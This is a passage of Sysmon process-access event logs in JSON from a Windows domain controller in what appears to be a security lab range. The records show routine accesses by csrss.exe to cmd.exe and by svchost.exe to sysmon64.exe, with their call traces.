11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3608,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.574\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407E-5F2D-0000-00103E490500}\r\nTargetProcessId: 4892\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.574","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407E-5F2D-0000-00103E490500}","TargetProcessId":"4892","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3609,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.574\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.574","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3610,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.574\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.574","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3611,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.574\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.574","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3612,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.574\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.574","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3613,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.574\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.574","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3614,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.574\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.574","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3615,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.574\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.574","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3616,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.574\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 